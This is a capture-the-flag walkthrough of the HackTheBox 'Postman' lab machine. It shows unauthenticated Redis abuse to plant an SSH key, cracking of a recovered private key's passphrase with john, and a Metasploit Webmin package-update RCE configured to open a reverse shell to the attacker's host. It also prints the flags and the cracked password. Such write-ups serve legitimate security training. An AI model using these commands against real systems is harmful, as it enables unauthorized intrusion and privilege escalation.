Postman
=========================
|
POSTMAN 10.10.10.160
|
=========================

InfoGathering
Nmap scan report for postman.htb (10.10.10.160)
Host is up (0.100s latency).
Not shown: 997 closed ports
PORT
STATE SERVICE VERSION
22/tcp open ssh
OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp open redis Redis key-value store 4.0.9
10000/tcp open http MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
WFUZZ RESULTS PORT 80
/fonts
/server-status
/upload
/css
/js
/images
/images/icons
/images/favicon.ico
/index.html
/.htaccess
./htpasswd
/.hta
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WFUZZ RESULTS FOUND FOR PORT 10000
/robots.txt # This did not show us any possible URIs
/favicon.ico
LOGIN PAGE FOUND BUT NO TECHNOLOGIES WERE DETECTED BY WAPPALYZER
https://postman.htb:10000

The Nikto scan I ran seems to be returning false positives because of the server redirecting any URI to the main
login page
A Nikto scan did return an email address from the SSL Cert
/O=Webmin Webserver on Postman/CN=*/emailAddress=root@Postman
Searchploit search for webmin returned a result that may be useful for us.
I checked out some of the options for the RCE's in metasploit and they all require creds.
If we find crednetials we will try these again
Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit) | exploits/linux/remote/46984.rb
Webmin 1.920 - Remote Code Execution | exploits/linux/webapps/47293.sh
Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit) | exploits/linux/remote/47230.rb
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Gaining Access
Install redis-cli on your machine if you dont have it already. We will try to issue a few commands to talk to the
target
RESOURCE: https://redis.io/commands
RESOURCE: https://www.tutorialspoint.com/redis/
redis-cli -h 10.10.10.160 -p 6379
10.10.10.160:6379> flushall
OK
10.10.10.160:6379> config get dir
1) "dir"
2) "/var/www/html"
10.10.10.160:6379> flushall
# Results
OK
10.10.10.160:6379> config get dir
# Results
1) "dir"
2) "/var/www/html"
10.10.10.160:6379> config set dir /var
# Results
OK
10.10.10.160:6379> config get dir
# Results
1) "dir"
2) "/var"
10.10.10.160:6379> config get logfile
1) "logfile"
2) "/var/log/redis/redis-server.log"
10.10.10.160:6379> config get pidfile
1) "pidfile"
2) "/var/run/redis/redis-server.pid"
info
# Read results of this command to learn more info about server
config get *

Excellent. We are able to access the redis-cli memory on the machine without authenticating.
flushall was used to wipe the memory
config get dir was used to see what directory we are in
config set dir was used to change directories we are in
Some of the info we learn here
----------------------------------------------executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:9435c3c2879311f3
redis_mode:standalone
os:Linux 4.15.0-58-generic x86_64
arch_bits:64
gcc_version:7.4.0
process_id:608
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run_id:4cc24f57d1b696e4fcb5d6999a75a6630ef1da4e
tcp_port:6379
role:master
connected_slaves:0
master_replid:5f2fe5a9b7b9c69599b0ef0c40f1d6653570d196
master_replid2:05fa3857713d9bb305c3ff0fa45e981670f2ef1b
I found a redi server exploit that allows us to upload an ssh key we generate to a redis server
RESOURCE: https://github.com/Avinash-acid/Redis-Server-Exploit/blob/master/redis.py
Reading the code it seems to be made of commands we have already executed. Lets give her a run.
Since we are most likely the redis user we need to find the redis users home directory.
I installed redis server so I have the user on my machine.
grep redis /etc/passwd
redis:x:136:146::/var/lib/redis:/usr/sbin/nologin

We need to change the python exploit above to use /var/lib/redis/.ssh as our home dir instead of the normal /
home/user location.
Now we run the command
python redis.py 10.10.10.160 redis
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I enumerated everything in my present directory as that is the first thing I do when gaining access to a machine
I immediately noticed .bash_history was not being linked to /dev/null and read the file. This is exciting
ls -la
cat .bash_history
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Looks like we can su as matt or read the backup of id_rsa.bak
I tried "su Matt" first which needed a password. No luck there yet
Lets search for those files
find / -name scan.py 2> /dev/null
# No results
find / -name id_rsa.bak 2> /dev/null
/opt/id_rsa.bak

Jackpot!
Copy the contents of that file to make an rsa private key to ssh in with
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I placed my key in /tmp/tobor/tobor.tobor

No luck yet. We need to crack the key password.
To do this we need to use ssh2john which on kali is located at /usr/share/john/ssh2john.py
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/usr/share/john/ssh2john.py /root/HTB/boxes/Postman/mattrsa.key > /root/HTB/boxes/Postman/rsakey.hash.txt
# The above command converted the key into a john crackable format
# Now crack the key
john rsakey.hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Result = computer2008

ssh -i mattrsa.key Matt@10.10.10.160
Enter passphrase for key 'mattrsa.key':
Connection closed by 10.10.10.160 port 22

Shoot, the connection closed immediately. Lets see if Matt reused his password and su as Matt
su Matt
computer2008
# IT WORKED!
cat /home/Matt/user.txt

USER FLAG: 517ad0ec2458ca97af8d93aac08a2f3c
Lets see if we can login at the webin login page. We sure can
http://postman.htb:10000
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PrivEsc
Typicla “ls -la” command in Matts home directory shows we can read the .bash_history file again
Looks like we can "su root". This did not work. There is a file made called justincase.txt Lets find it
ls -la ~Matt
cat .bash_history
# Su root failed
su root
# No results
find / -name justincase.txt 2> /dev/null
# No results
find / -name justincase.txt 2> /dev/null

Since we exploited the redis service lets check out the Webmin
After signing into https://postman.htb:10000/ we see that Webmin is version 1.910
searchsploit Webmin 1.910

That is convienet. We have a RCE in a Metasploit module. Time to open Metasploit
We will want to use the module with Package updates and RCE in the name
msfconsole
search webmin
use exploit/linux/http/webmin_packageup_rce
set LHOST 10.10.14.19
set LPORT 8089
set RHOSTS 10.10.10.160
set PASSWORD computer2008
set USERNAME Matt
set SSL true
run

Just like that we have a shell as root.
cat /root/root.txt
a257741c5bed8be7778c6ed95686ddce
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ROOT FLAG: a257741c5bed8be7778c6ed95686ddce
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